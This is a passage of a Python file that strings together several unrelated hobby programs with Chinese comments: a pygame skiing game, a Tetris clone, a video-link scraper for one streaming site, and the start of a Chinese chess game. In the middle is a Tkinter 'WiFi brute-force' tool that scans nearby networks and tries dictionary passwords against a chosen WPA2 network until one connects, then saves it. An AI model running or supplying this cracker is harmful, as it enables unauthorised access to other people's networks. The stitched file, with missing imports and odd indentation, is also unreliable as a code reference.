            self.type = type
            self.passed = False

        def scroll(self, terrainPos):
            self.rect.centery = self.location[1] - terrainPos

    def create_map(start, end):
        obstacles = pygame.sprite.Group()
        locations = []
        gates = pygame.sprite.Group()
        for i in range(10):
            row = random.randint(start, end)
            col = random.randint(0, 9)
            location  = [col * 64 + 20, row * 64 + 20]
            if not (location in locations):
                locations.append(location)
                type = random.choice(["tree", "flag"])
                if type == "tree": img = "./bg_img/skier_tree.png"
                elif type == "flag":  img = "./bg_img/skier_flag.png"
                obstacle = ObstacleClass(img, location, type)
                obstacles.add(obstacle)
        return obstacles

    def animate():
        screen.fill([255, 255, 255])
        pygame.display.update(obstacles.draw(screen))
        screen.blit(skier.image, skier.rect)
        screen.blit(score_text, [10, 10])
        pygame.display.flip()

    def updateObstacleGroup(map0, map1):
        obstacles = pygame.sprite.Group()
        for ob in map0:  obstacles.add(ob)
        for ob in map1:  obstacles.add(ob)
        return obstacles

    pygame.init()
    pygame.mixer.init()
    pygame.mixer.music.load("./bg_music/bg_music.mp3")
    pygame.mixer.music.set_volume(0.3)
    pygame.mixer.music.play(-1)
    screen = pygame.display.set_mode([640,640])
    clock = pygame.time.Clock()
    skier = SkierClass()
    speed = [0, 6]
    map_position = 0
    points = 0
    map0 = create_map(20, 29)
    map1 = create_map(10, 19)
    activeMap = 0

    obstacles = updateObstacleGroup(map0, map1)

    font = pygame.font.Font(None, 50)

    while True:
        clock.tick(30)
        for event in pygame.event.get():
            if event.type == pygame.QUIT: sys.exit()
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_LEFT:
                    speed = skier.turn(-1)
                elif event.key == pygame.K_RIGHT:
                    speed = skier.turn(1)
        skier.move(speed)
        map_position += speed[1]

        if map_position >=640 and activeMap == 0:
            activeMap = 1
            map0 = create_map(20, 29)
            obstacles = updateObstacleGroup(map0, map1)
        if map_position >=1280 and activeMap == 1:
            activeMap = 0
            for ob in map0:
                ob.location[1] = ob.location[1] - 1280
            map_position = map_position - 1280
            map1 = create_map(10, 19)
            obstacles = updateObstacleGroup(map0, map1)

        for obstacle in obstacles:
            obstacle.scroll(map_position)

        hit =  pygame.sprite.spritecollide(skier, obstacles, False)
        if hit:
            if hit[0].type == "tree" and not hit[0].passed:
                points = points - 100
                skier.image = pygame.image.load("./bg_img/skier_crash.png")
                animate()
                pygame.time.delay(1000)
                skier.image = pygame.image.load("./bg_img/skier_down.png")
                skier.angle = 0
                speed = [0, 6]
                hit[0].passed = True
            elif hit[0].type == "flag" and not hit[0].passed:
                points += 10
                obstacles.remove(hit[0])

        score_text = font.render("Score: " +str(points), 1, (0, 0, 0))
        animate()
from pygame.locals import *
import random
from collections import namedtuple
def els():
        
    Point = namedtuple('Point', 'X Y')
    Shape = namedtuple('Shape', 'X Y Width Height')
    Block = namedtuple('Block', 'template start_pos end_pos name next')

    # 方块形状的设计，我最初我是做成 4 × 4，因为长宽最长都是4，这样旋转的时候就不考虑怎么转了，就是从一个图形替换成另一个
    # 其实要实现这个功能，只需要固定左上角的坐标就可以了

    # S形方块
    S_BLOCK = [Block(['.OO',
                      'OO.',
                      '...'], Point(0, 0), Point(2, 1), 'S', 1),
               Block(['O..',
                      'OO.',
                      '.O.'], Point(0, 0), Point(1, 2), 'S', 0)]
    # Z形方块
    Z_BLOCK = [Block(['OO.',
                      '.OO',
                      '...'], Point(0, 0), Point(2, 1), 'Z', 1),
               Block(['.O.',
                      'OO.',
                      'O..'], Point(0, 0), Point(1, 2), 'Z', 0)]
    # I型方块
    I_BLOCK = [Block(['.O..',
                      '.O..',
                      '.O..',
                      '.O..'], Point(1, 0), Point(1, 3), 'I', 1),
               Block(['....',
                      '....',
                      'OOOO',
                      '....'], Point(0, 2), Point(3, 2), 'I', 0)]
    # O型方块
    O_BLOCK = [Block(['OO',
                      'OO'], Point(0, 0), Point(1, 1), 'O', 0)]
    # J型方块
    J_BLOCK = [Block(['O..',
                      'OOO',
                      '...'], Point(0, 0), Point(2, 1), 'J', 1),
               Block(['.OO',
                      '.O.',
                      '.O.'], Point(1, 0), Point(2, 2), 'J', 2),
               Block(['...',
                      'OOO',
                      '..O'], Point(0, 1), Point(2, 2), 'J', 3),
               Block(['.O.',
                      '.O.',
                      'OO.'], Point(0, 0), Point(1, 2), 'J', 0)]
    # L型方块
    L_BLOCK = [Block(['..O',
                      'OOO',
                      '...'], Point(0, 0), Point(2, 1), 'L', 1),
               Block(['.O.',
                      '.O.',
                      '.OO'], Point(1, 0), Point(2, 2), 'L', 2),
               Block(['...',
                      'OOO',
                      'O..'], Point(0, 1), Point(2, 2), 'L', 3),
               Block(['OO.',
                      '.O.',
                      '.O.'], Point(0, 0), Point(1, 2), 'L', 0)]
    # T型方块
    T_BLOCK = [Block(['.O.',
                      'OOO',
                      '...'], Point(0, 0), Point(2, 1), 'T', 1),
               Block(['.O.',
                      '.OO',
                      '.O.'], Point(1, 0), Point(2, 2), 'T', 2),
               Block(['...',
                      'OOO',
                      '.O.'], Point(0, 1), Point(2, 2), 'T', 3),
               Block(['.O.',
                      'OO.',
                      '.O.'], Point(0, 0), Point(1, 2), 'T', 0)]

    BLOCKS = {'O': O_BLOCK,
              'I': I_BLOCK,
              'Z': Z_BLOCK,
              'T': T_BLOCK,
              'L': L_BLOCK,
              'S': S_BLOCK,
              'J': J_BLOCK}


    def get_block():
        block_name = random.choice('OIZTLSJ')
        b = BLOCKS[block_name]
        idx = random.randint(0, len(b) - 1)
        return b[idx]


    def get_next_block(block):
        b = BLOCKS[block.name]
        return b[block.next]

    SIZE = 30  # 每个小方格大小
    BLOCK_HEIGHT = 25  # 游戏区高度
    BLOCK_WIDTH = 10   # 游戏区宽度
    BORDER_WIDTH = 4   # 游戏区边框宽度
    BORDER_COLOR = (40, 40, 200)  # 游戏区边框颜色
    SCREEN_WIDTH = SIZE * (BLOCK_WIDTH + 5)  # 游戏屏幕的宽
    SCREEN_HEIGHT = SIZE * BLOCK_HEIGHT      # 游戏屏幕的高
    BG_COLOR = (40, 40, 60)  # 背景色
    BLOCK_COLOR = (20, 128, 200)  #
    BLACK = (0, 0, 0)
    RED = (200, 30, 30)      # GAME OVER 的字体颜色


    def print_text(screen, font, x, y, text, fcolor=(255, 255, 255)):
        imgText = font.render(text, True, fcolor)
        screen.blit(imgText, (x, y))


    def main():
        pygame.init()
        screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
        pygame.display.set_caption('俄罗斯方块')

        font1 = pygame.font.SysFont('SimHei', 24)  # 黑体24
        font2 = pygame.font.Font(None, 72)  # GAME OVER 的字体
        font_pos_x = BLOCK_WIDTH * SIZE + BORDER_WIDTH + 10  # 右侧信息显示区域字体位置的X坐标
        gameover_size = font2.size('GAME OVER')
        font1_height = int(font1.size('得分')[1])

        cur_block = None   # 当前下落方块
        next_block = None  # 下一个方块
        cur_pos_x, cur_pos_y = 0, 0

        game_area = None    # 整个游戏区域
        game_over = True
        start = False       # 是否开始，当start = True，game_over = True 时，才显示 GAME OVER
        score = 0           # 得分
        orispeed = 0.5      # 原始速度
        speed = orispeed    # 当前速度
        pause = False       # 暂停
        last_drop_time = None   # 上次下落时间
        last_press_time = None  # 上次按键时间

        def _dock():
            nonlocal cur_block, next_block, game_area, cur_pos_x, cur_pos_y, game_over, score, speed
            for _i in range(cur_block.start_pos.Y, cur_block.end_pos.Y + 1):
                for _j in range(cur_block.start_pos.X, cur_block.end_pos.X + 1):
                    if cur_block.template[_i][_j] != '.':
                        game_area[cur_pos_y + _i][cur_pos_x + _j] = '0'
            if cur_pos_y + cur_block.start_pos.Y <= 0:
                game_over = True
            else:
                # 计算消除
                remove_idxs = []
                for _i in range(cur_block.start_pos.Y, cur_block.end_pos.Y + 1):
                    if all(_x == '0' for _x in game_area[cur_pos_y + _i]):
                        remove_idxs.append(cur_pos_y + _i)
                if remove_idxs:
                    # 计算得分
                    remove_count = len(remove_idxs)
                    if remove_count == 1:
                        score += 100
                    elif remove_count == 2:
                        score += 300
                    elif remove_count == 3:
                        score += 700
                    elif remove_count == 4:
                        score += 1500
                    speed = orispeed - 0.03 * (score // 10000)
                    # 消除
                    _i = _j = remove_idxs[-1]
                    while _i >= 0:
                        while _j in remove_idxs:
                            _j -= 1
                        if _j < 0:
                            game_area[_i] = ['.'] * BLOCK_WIDTH
                        else:
                            game_area[_i] = game_area[_j]
                        _i -= 1
                        _j -= 1
                cur_block = next_block
                next_block = get_block()
                cur_pos_x, cur_pos_y = (BLOCK_WIDTH - cur_block.end_pos.X - 1) // 2, -1 - cur_block.end_pos.Y

        def _judge(pos_x, pos_y, block):
            nonlocal game_area
            for _i in range(block.start_pos.Y, block.end_pos.Y + 1):
                if pos_y + block.end_pos.Y >= BLOCK_HEIGHT:
                    return False
                for _j in range(block.start_pos.X, block.end_pos.X + 1):
                    if pos_y + _i >= 0 and block.template[_i][_j] != '.' and game_area[pos_y + _i][pos_x + _j] != '.':
                        return False
            return True

        while True:
            for event in pygame.event.get():
                if event.type == QUIT:
                    sys.exit()
                elif event.type == KEYDOWN:
                    if event.key == K_RETURN:
                        if game_over:
                            start = True
                            game_over = False
                            score = 0
                            last_drop_time = time.time()
                            last_press_time = time.time()
                            game_area = [['.'] * BLOCK_WIDTH for _ in range(BLOCK_HEIGHT)]
                            cur_block = get_block()
                            next_block = get_block()
                            cur_pos_x, cur_pos_y = (BLOCK_WIDTH - cur_block.end_pos.X - 1) // 2, -1 - cur_block.end_pos.Y
                    elif event.key == K_SPACE:
                        if not game_over:
                            pause = not pause
                    elif event.key in (K_w, K_UP):
                        # 旋转
                        # 其实记得不是很清楚了，比如
                        # .0.
                        # .00
                        # ..0
                        # 这个在最右边靠边的情况下是否可以旋转，我试完了网上的俄罗斯方块，是不能旋转的，这里我们就按不能旋转来做
                        # 我们在形状设计的时候做了很多的空白，这样只需要规定整个形状包括空白部分全部在游戏区域内时才可以旋转
                        if 0 <= cur_pos_x <= BLOCK_WIDTH - len(cur_block.template[0]):
                            _next_block = get_next_block(cur_block)
                            if _judge(cur_pos_x, cur_pos_y, _next_block):
                                cur_block = _next_block

            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_LEFT:
                    if not game_over and not pause:
                        if time.time() - last_press_time > 0.1:
                            last_press_time = time.time()
                            if cur_pos_x > - cur_block.start_pos.X:
                                if _judge(cur_pos_x - 1, cur_pos_y, cur_block):
                                    cur_pos_x -= 1
                if event.key == pygame.K_RIGHT:
                    if not game_over and not pause:
                        if time.time() - last_press_time > 0.1:
                            last_press_time = time.time()
                            # 不能移除右边框
                            if cur_pos_x + cur_block.end_pos.X + 1 < BLOCK_WIDTH:
                                if _judge(cur_pos_x + 1, cur_pos_y, cur_block):
                                    cur_pos_x += 1
                if event.key == pygame.K_DOWN:
                    if not game_over and not pause:
                        if time.time() - last_press_time > 0.1:
                            last_press_time = time.time()
                            if not _judge(cur_pos_x, cur_pos_y + 1, cur_block):
                                _dock()
                            else:
                                last_drop_time = time.time()
                                cur_pos_y += 1

            _draw_background(screen)

            _draw_game_area(screen, game_area)

            _draw_gridlines(screen)

            _draw_info(screen, font1, font_pos_x, font1_height, score)
            # 画显示信息中的下一个方块
            _draw_block(screen, next_block, font_pos_x, 30 + (font1_height + 6) * 5, 0, 0)

            if not game_over:
                cur_drop_time = time.time()
                if cur_drop_time - last_drop_time > speed:
                    if not pause:
                        # 不应该在下落的时候来判断到底没，我们玩俄罗斯方块的时候，方块落到底的瞬间是可以进行左右移动
                        if not _judge(cur_pos_x, cur_pos_y + 1, cur_block):
                            _dock()
                        else:
                            last_drop_time = cur_drop_time
                            cur_pos_y += 1
            else:
                if start:
                    print_text(screen, font2,
                               (SCREEN_WIDTH - gameover_size[0]) // 2, (SCREEN_HEIGHT - gameover_size[1]) // 2,
                               'GAME OVER', RED)

            # 画当前下落方块
            _draw_block(screen, cur_block, 0, 0, cur_pos_x, cur_pos_y)

            pygame.display.flip()


    # 画背景
    def _draw_background(screen):
        # 填充背景色
        screen.fill(BG_COLOR)
        # 画游戏区域分隔线
        pygame.draw.line(screen, BORDER_COLOR,
                         (SIZE * BLOCK_WIDTH + BORDER_WIDTH // 2, 0),
                         (SIZE * BLOCK_WIDTH + BORDER_WIDTH // 2, SCREEN_HEIGHT), BORDER_WIDTH)


    # 画网格线
    def _draw_gridlines(screen):
        # 画网格线 竖线
        for x in range(BLOCK_WIDTH):
            pygame.draw.line(screen, BLACK, (x * SIZE, 0), (x * SIZE, SCREEN_HEIGHT), 1)
        # 画网格线 横线
        for y in range(BLOCK_HEIGHT):
            pygame.draw.line(screen, BLACK, (0, y * SIZE), (BLOCK_WIDTH * SIZE, y * SIZE), 1)


    # 画已经落下的方块
    def _draw_game_area(screen, game_area):
        if game_area:
            for i, row in enumerate(game_area):
                for j, cell in enumerate(row):
                    if cell != '.':
                        pygame.draw.rect(screen, BLOCK_COLOR, (j * SIZE, i * SIZE, SIZE, SIZE), 0)


    # 画单个方块
    def _draw_block(screen, block, offset_x, offset_y, pos_x, pos_y):
        if block:
            for i in range(block.start_pos.Y, block.end_pos.Y + 1):
                for j in range(block.start_pos.X, block.end_pos.X + 1):
                    if block.template[i][j] != '.':
                        pygame.draw.rect(screen, BLOCK_COLOR,
                                         (offset_x + (pos_x + j) * SIZE, offset_y + (pos_y + i) * SIZE, SIZE, SIZE), 0)


    # 画得分等信息
    def _draw_info(screen, font, pos_x, font_height, score):
        print_text(screen, font, pos_x, 10, f'得分: ')
        print_text(screen, font, pos_x, 10 + font_height + 6, f'{score}')
        print_text(screen, font, pos_x, 20 + (font_height + 6) * 2, f'速度: ')
        print_text(screen, font, pos_x, 20 + (font_height + 6) * 3, f'{score // 10000}')
        print_text(screen, font, pos_x, 30 + (font_height + 6) * 4, f'下一个：')


    if __name__ == '__main__':
        main()

import pywifi
import csv,os
from pywifi import const
import tkinter as tk
from tkinter import ttk
import time
import tkinter.filedialog
import tkinter.messagebox
def wifi():

    def signall_level(signal):
        """
        根据信号值判断信号强度等级，信号最强为4
        0 rssi<=-100
        1 (-100, -88]
        2 (-88, -77]
        3 (-66, -55]
        4 rssi>=-55
        :return:
        """
        level = 0
        signal = signal
        if isinstance(signal, int):
            if signal < -100:
                level = 0
            elif signal >= -100 and signal < -88:
                level = 1
            elif signal >= -88 and signal < -77:
                level = 2
            elif signal >= -77 and signal < -55:
                level = 3
            else:
                level = 4
            return level
        else:
            return "信号格式错误"
     
    class WifiGetGui():
        def __init__(self):
            self.window=tk.Tk()
            self.window.title("WIFI暴力破解")
            self.window.geometry("1050x560")
            self.log_text=None
            self.crack_button=None
     
            #定义wifi名称
            self.wifi_value = tk.StringVar()
            #定义字典的路径
            self.secret_path=tk.StringVar()
     
            #定义每次连接间隔时间
            self.interval_time=tk.StringVar()
            #破解后的密码
            self.crack_pwd=tk.StringVar()
     
        def set_window(self):
     
            # #定义WIFI搜索栏的FRAME
     
            search_frame=tk.LabelFrame(self.window,text="附近的WIFI",font=('Arial',10))
            search_frame.place(relx=0.23,rely=0.5,width=450, height=540,anchor="center")
            # # search_frame.grid(column=0, row=0, padx=10, pady=0,columnspan=4)
            # #定义wifi搜索按钮
            button_search = tk.Button(search_frame, text="搜索附近WiFi", font=('Arial',10),command=self.get_wifi)
            button_search.place(relx=0,rely=0,width=150,anchor="nw",bordermode='inside')
            #
            #
            #
            # #创建列表frame
            wifi_list_frame = tk.LabelFrame(search_frame,text="WIFI列表",font=('Arial',10),width=446, height=476)
            wifi_list_frame.place(relx=0,rely=0.08,anchor="nw",bordermode='inside')
            #
            #
            # #创建列表与滚动条
            self.wifi_tree=ttk.Treeview(wifi_list_frame,show="headings",height=20,columns=('num','name','bssid','signal'))
            scoroll_bar = ttk.Scrollbar(wifi_list_frame, orient='vertical', command=self.wifi_tree.yview)
            self.wifi_tree.configure(yscrollcommand=scoroll_bar.set)
            # 表格的标题
            self.wifi_tree.column("num", width=50, anchor="center")
            self.wifi_tree.column("name", width=150, anchor="center")
            self.wifi_tree.column("bssid", width=150, anchor="center")
            self.wifi_tree.column("signal", width=100, anchor="center")
     
            self.wifi_tree.heading("num", text="序号")
            self.wifi_tree.heading("name", text="WIFI名称")
            self.wifi_tree.heading("bssid", text="MAC地址")
            self.wifi_tree.heading("signal", text="信号强度")
            # self.wifi_tree.grid(row=4, column=0, sticky='NSEW')
            self.wifi_tree.place(relx=0,rely=0,anchor="nw")
            self.wifi_tree.bind("<Double-1>",self.scroll_event)
            scoroll_bar.place(relx=0.98,rely=0.5,height=386,anchor="center")
     
     
     
            #定义搜索功能模块
            crack_frame=tk.LabelFrame(self.window,text="WIFI破解",font=('Arial',10))
            crack_frame.place(relx=0.72,rely=0.5,width=560, height=540,anchor="center")
            #
            """定义wifi标签和输入框
            self.wifi_value.get()
            """
            crack_wifiname_label=tk.Label(crack_frame, width=12, text="WIFI名称：",font=('Arial',10)).place(relx=0, rely=0,anchor='nw')
            crack_wifiname_entry=tk.Entry(crack_frame, width=15, textvariable=self.wifi_value,font=('Arial',10)).place(relx=0.18, rely=0,anchor='nw')
     
            """定义字典标签和输入框"""
            cata_dir_label=tk.Label(crack_frame, text="字典目录：",font=('Arial',10)).place(relx=0.016, rely=0.06,anchor='nw')
            entry_dir_entry=tk.Entry(crack_frame, width=15, textvariable=self.secret_path,font=('Arial',10)).place(relx=0.18, rely=0.06,anchor='nw')
     
            """定义添加字典文件按钮"""
            add_dir_button= tk.Button(crack_frame,
                                   text="添加字典文件",
                                   font=('Arial',10),
                                   command=self.get_path).place(relx=0.45, rely=0.05,anchor='nw')
     
            crack_interval_label=tk.Label(crack_frame, width=12,text="破解间隔：",font=('Arial',10)).place(relx=0, rely=0.12,anchor='nw')
            self.crack_interval_entry=tk.Entry(crack_frame, textvariable=self.interval_time,width=15,font=('Arial',10)).place(relx=0.18, rely=0.12,anchor='nw')
     
            """定义破解后的密码展示框"""
            crack_pwd_label=tk.Label(crack_frame, text="WIFI密码：",font=('Arial',10)).place(relx=0.016, rely=0.28,anchor='nw')
            crack_pwd_entry=tk.Entry(crack_frame, width=15, textvariable=self.crack_pwd,font=('Arial',10)).place(relx=0.18, rely=0.28,anchor='nw')
     
            """定义破解日志信息展示框"""
            log_frame=tk.LabelFrame(crack_frame,text="破解详情",font=('Arial',10),width=550, height=350)
            log_frame.place(relx=0, rely=0.34,anchor='nw')
     
            """定义日志文本框"""
            self.log_text=tk.Text(log_frame,width=550,height=300)
            self.log_text.place(relx=0, rely=0,anchor='nw')
            # """搜索按钮"""
            self.crack_button=tk.Button(crack_frame,text="开始破解",state='active',font=('Arial',10),command=self.get_pwd).place(relx=0.5, rely=0.22,width=150,anchor='center')
            self.window.mainloop()
        def wifi_list_show(self,wifi_list):
            for num,wifi_info in enumerate(wifi_list):
                self.wifi_tree.insert('','end',values=(num+1,wifi_info[0],wifi_info[1],wifi_info[2]))
        def scroll_event(self,event):
     
            self.item_info=event.widget.selection()
            self.wifi_value.set(self.wifi_tree.item(self.item_info,"values")[1])
            print("已设置wifi_value的值为:"+self.wifi_value.get())
            self.wifi_tree.item(self.item_info,"values")[0]
        def get_wifi(self):
            """
            0 rssi<=-100
            1 (-100, -88]
            2 (-88, -77]
            3 (-66, -55]
            4 rssi>=-55
            :return:
            """
            wifi = pywifi.PyWiFi()
            # ifaces=wifi.interfaces()
            # print(ifaces)
            iface = wifi.interfaces()[0]
            if iface:
                print(iface)
                try:
                    iface.scan()
                    time.sleep(5)
                    result = iface.scan_results()
                    wifi_list = []
                    for w in result:
                        wifi_list.append([w.ssid.encode('raw_unicode_escape').decode('utf-8'), w.bssid, signall_level(w.signal)])
                    print("排序前的列表%s:" % wifi_list)
                    for i in range(len(wifi_list) - 1):
                        min_index = i  # 初始化每次循环的下表
                        for j in range(i + 1, len(wifi_list)):
                            if wifi_list[min_index][2] < wifi_list[j][2]:  # 与当前下表之后的值进行对比
                                min_index = j  # 如果当前下表大于后面的某一个元素下标，则把下标赋值给最小下标
                        wifi_list[i], wifi_list[min_index] = wifi_list[min_index], wifi_list[i]  # 循环完成，把下标的i的值和循环找出的最小值进行替换
                    print("排序后的列表%s:" % wifi_list)
                    self.wifi_list_show(wifi_list)
                    return wifi_list
                except Exception as e:
                    msg = "获取wifi信号异常"
                    return msg
            else:
                msg = "获取网卡信息异常"
                return msg
        def get_path(self):
            self.filepath=tk.filedialog.askopenfilename()
            print("filepath:"+self.filepath)
            self.secret_path.set(self.filepath)
            print("已设置字典文件路径:"+self.secret_path.get())
        def check_password(self,wifi_name,try_password):
            get_interval=self.interval_time.get()
            wifi=pywifi.PyWiFi()
            iface=wifi.interfaces()[0]
            iface.disconnect()
            profile = pywifi.Profile()
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key=try_password
            iface.remove_all_network_profiles()
            tmp_profile = iface.add_network_profile(profile)
            print("密码%s开始调用！"%try_password)
            iface.connect(tmp_profile)  # 连接
            print("间隔时间是%s"%get_interval)
            time.sleep(int(get_interval))  # 尝试10秒能否成功连接
            print("密码%s调用结束"%try_password)
            if iface.status() == const.IFACE_CONNECTED:
                # # content={"wifi_name":wifi_name,"password":try_password}
                # filename=wifi_name+".txt"
                # write_file(filename,str(content))
                # # return content
                return True
                iface.disconnect()
            else:
                return False
        def send_log(self):
            """更新TEXT页面文本"""
            self.log_text.insert(1.0, self.msg)
            self.log_text.update()
        def get_pwd(self):
            """遍历字典，验证密码"""
            wifi_name=self.wifi_value.get()
            print("get_pwd.wifi_name:"+wifi_name)
            dic_path=self.secret_path.get()
            print("get_pwd.dic_path:"+dic_path)
            with open(dic_path, 'r') as f:
                reader = csv.reader(f)
                try:
                    for rows in enumerate(reader):
                        # row = rows
                        pwd=rows[1][0]
                        print(pwd)
                            # print(pwd)
                        bool_check=self.check_password(wifi_name,pwd)
                        print(bool_check)
                        if bool_check==True:
                            self.msg='sucess,wifi== %s 破译成功，密码为%s'%(wifi_name,pwd)+"\n"
                            print(self.msg)
                            self.crack_pwd.set(pwd)
                            pwd_path=  os.path.join(os.path.dirname(dic_path),wifi_name+'.txt')
                            self.write_file(pwd_path,self.msg)
                            self.send_log()
                            tk.messagebox.showinfo(title="破译成功",message="密码为%s"%pwd)
                            break
                        else:
                            self.msg="failed,wifi== %s 匹配密码%s，破译失败"%(wifi_name,pwd)+"\n"
                            self.send_log()
                            print(self.msg)
                            continue
     
                except Exception as e:
                    self.msg="数据字典读取异常"
        def write_file(self,path, content):
            if content:
                with open(path, mode="a+", encoding="utf-8") as f:
                    if type(content) != str:
                        content = content.decode("utf-8")
                    f.write(content)
                    f.flush()
                    f.close()
                    print("list信息已保存到" + path)
     
    if __name__=="__main__":
        wif=WifiGetGui()
        wif.set_window()
import re
from service import get_response
import requests
import traceback
from tkinter import *
def sp():
    def get_source():
        # 响应第一个button，仅获取资源并输出到gui
        result = ''
        search_url = 'https://www.yszxwang.com/search.php'
        data = {
            'searchword': inp1.get()
        }
        resp = requests.post(search_url, data=data, timeout=15)
        # print(resp.text)
        # 若网站检索无结果，直接返回错误提示并关闭爬虫
        if '对不起，没有找到' in resp.text:
            txt.insert(END, 'ERROR, 网站检索无此结果！' + '\n')
            return
        # 进入搜索详情页，获取详情页链接
        urls = re.findall('href="(/[a-z]+?/.*?\d+/)"', resp.text)
        titles = re.findall('<h3><a.*?>(.*?)</a></h3>', resp.text)
        types = re.findall('<h3><a href="/(.*?)/.*?\d+/">.*?</a></h3>', resp.text)
        type_list = []
        for t in types:
            if t == 'tv':
                t = '电视剧'
            elif t == 'dm':
                t = '动漫'
            elif t == 'dy':
                t = '电影'
            elif t == 'zy':
                t = '综艺'
            type_list.append(t)
        # 暂时已发现 tv：剧集  dm：动漫  dy：电影  zy：综艺
        # print(titles)
        for url in urls:
            if len(url) > 60:
                urls.remove(url)
        r_urls = []
        for u in urls:
            if u not in r_urls:
                r_urls.append(u)
        txt.insert(END, '已为你检索到结果如下：' + '\n')
        for i, title in enumerate(titles):
            txt.insert(END, str(i+1) + ' ' + title + ' ' + type_list[i] + '\n')
     
     
    def get_source1():
        # 获取资源并返回到方法
        result = ''
        search_url = 'https://www.yszxwang.com/search.php'
        data = {
            'searchword': inp1.get()
        }
        resp = requests.post(search_url, data=data, timeout=15)
        urls = re.findall('href="(/[a-z]+?/.*?\d+/)"', resp.text)
        for url in urls:
            if len(url) > 60:
                urls.remove(url)
        r_urls = []
        for u in urls:
            if u not in r_urls:
                r_urls.append(u)
        return r_urls
     
     
    def begin_parse():
        # 响应第二个button，开始解析
        f_type = inp3.get()
        choice = int(inp2.get())
        r_urls = get_source1()
        detail_url = 'https://www.yszxwang.com' + r_urls[choice - 1]
        if f_type == '1':
            # 单剧集解析
            parse_alone(detail_url)
        else:
            # 多剧集解析
            parse_many(detail_url)
     
     
    def parse_alone(detail_url):
        resp = get_response(detail_url)
        if not resp:
            txt2.insert(END, '失败' + '\n')
            return
        play_urls = re.findall('a title=.*? href=\'(.*?)\' target="_self"', resp)
        play_url = get_real_url(play_urls)
        if 'http' in play_url:
            txt2.insert(END, "复制到浏览器播放" + '\n')
            txt2.insert(END, play_url + '\n')
        else:
            txt2.insert(END, "解析失败" + '\n')
     
     
    def get_real_url(play_urls):
        for i, play_page_url in enumerate(play_urls):
            play_page_url = 'https://www.yszxwang.com' + play_page_url
            resp1 = get_response(play_page_url)
            if resp1:
                data_url = re.search('var now="(http.*?)"', resp1).group(1).strip()
                resp2 = get_response(data_url)
                if resp2:
                    return data_url
        return 'defeat'
     
     
    def parse_many(detail_url):
        all_play_list, play_num = get_all_source(detail_url)
        many_real_url = get_many_real_url(all_play_list, play_num)
        if isinstance(many_real_url,list):
            txt2.insert(END, '已为你检索到结果如下：' + '\n')
            txt2.insert(END, "复制到浏览器播放" + '\n')
            for i, r in enumerate(many_real_url):
                txt2.insert(END, "第" + str(i+1) + '集' + ' ' + r + '\n')
        else:
            txt2.insert(END, "解析失败" + '\n')
     
     
    def get_many_real_url(all_play_list, play_num):
        for i, play_list in enumerate(all_play_list):
            many_data_url = []
            for j, play_page_url in enumerate(play_list):
                play_page_url = 'https://www.yszxwang.com' + play_page_url
                resp1 = get_response(play_page_url)
                if resp1:
                    data_url = re.search('var now="(http.*?)"', resp1).group(1).strip()
                    resp2 = get_response(data_url)
                    if resp2:
                        # 在data_url含有m3u8时，该链接可以用于下载，但是无法播放
                        if 'm3u8' in data_url:
                            break
                        else:
                            # 该链接为视频链接，视频本质依旧是m3u8，但该页面无广告之类，为纯视频页面
                            many_data_url.append(data_url)
                    else:
                        break
                else:
                    break
            if len(many_data_url) == play_num:
                return many_data_url
        return 'defeat'
     
     
    def get_all_source(detail_url):
        max_num = 0
        max_play = 0
        resp = get_response(detail_url)
        all_source = re.findall("href='(/video.*?)'", resp)
        for s in all_source:
            num = int(re.search('-(\d+?)-', s).group(1).strip())
            play_num = int(re.search('-\d+?-(\d+?)\.html', s).group(1).strip())
            if num > max_num:
                max_num = num
            if play_num > max_play:
                max_play = play_num
        # 最大资源数
        source_num = max_num + 1
        # 最大集数，有些资源更新慢集数不足，弃用
        play_num = max_play + 1
        all_play_list = []
        for i in range(source_num):
            soruce_list = []
            for s in all_source:
                # 资源分类
                cate = int(re.search('-(\d+?)-', s).group(1).strip())
                if cate == i:
                    soruce_list.append(s)
            # 获取集数最大的所有资源
            if len(soruce_list) == play_num:
                all_play_list.append(soruce_list)
        # 弃用集数不足的资源
        return all_play_list, play_num
     
     
    if __name__ == '__main__':
        # 构建窗口
        try:
            root = Tk()
            root.geometry('600x500')
            root.title('视频爬虫')
     
            lb1 = Label(root, text='关键词:')
            lb1.place(relx=0.1, rely=0.01, relwidth=0.4, relheight=0.08)
            inp1 = Entry(root)
            inp1.place(relx=0.4, rely=0.01, relwidth=0.4, relheight=0.08)
     
            btn1 = Button(root, text='开始解析资源', command=get_source)
            btn1.place(relx=0.3, rely=0.12, relwidth=0.4, relheight=0.08)
     
            txt = Text(root)
            txt.place(relx=0.1, rely=0.22, relwidth=0.8, relheight=0.2)
     
            lb2 = Label(root, text='从上列表选择资源:')
            lb2.place(relx=0.01, rely=0.44, relwidth=0.5, relheight=0.08)
            inp2 = Entry(root)
            inp2.place(relx=0.55, rely=0.44, relwidth=0.3, relheight=0.08)
     
            lb3 = Label(root, text='选择类型（单剧集1），（多剧集2）:')
            lb3.place(relx=0.01, rely=0.55, relwidth=0.5, relheight=0.08)
            inp3 = Entry(root)
            inp3.place(relx=0.55, rely=0.55, relwidth=0.3, relheight=0.08)
     
            btn1 = Button(root, text='开始抓取', command=begin_parse)
            btn1.place(relx=0.3, rely=0.66, relwidth=0.4, relheight=0.08)
     
            txt2 = Text(root)
            txt2.place(relx=0.1, rely=0.76, relwidth=0.8, relheight=0.2)
     
            root.mainloop()
        except Exception as e:
            print(e, traceback.format_exc())
def q():
    class Game(object):
        """
        游戏类
        """

        def __init__(self, screen, chessboard):
            self.screen = screen
            self.player = "r"  # 默认走棋的为红方r
            self.player_tips_r_image = pygame.image.load("images/red.png")
            self.player_tips_r_image_topleft = (550, 500)
            self.player_tips_b_image = pygame.image.load("images/black.png")
            self.player_tips_b_image_topleft = (550, 100)
            self.show_attack = False
            self.show_attack_count = 0
            self.show_attack_time = 100
            self.attack_img = pygame.image.load("images/pk.png")
            self.show_win = False
            self.win_img = pygame.image.load("images/win.png")
            self.win_player = None
            self.show_win_count = 0
            self.show_win_time = 300
            self.chessboard = chessboard

        def get_player(self):
            """
            获取当前走棋方
            """
            return self.player

        def exchange(self):
            """
            交换走棋方
            """
            self.player = "r" if self.player == "b" else "b"
            return self.get_player()

        def reset_game(self):
            """重置游戏"""
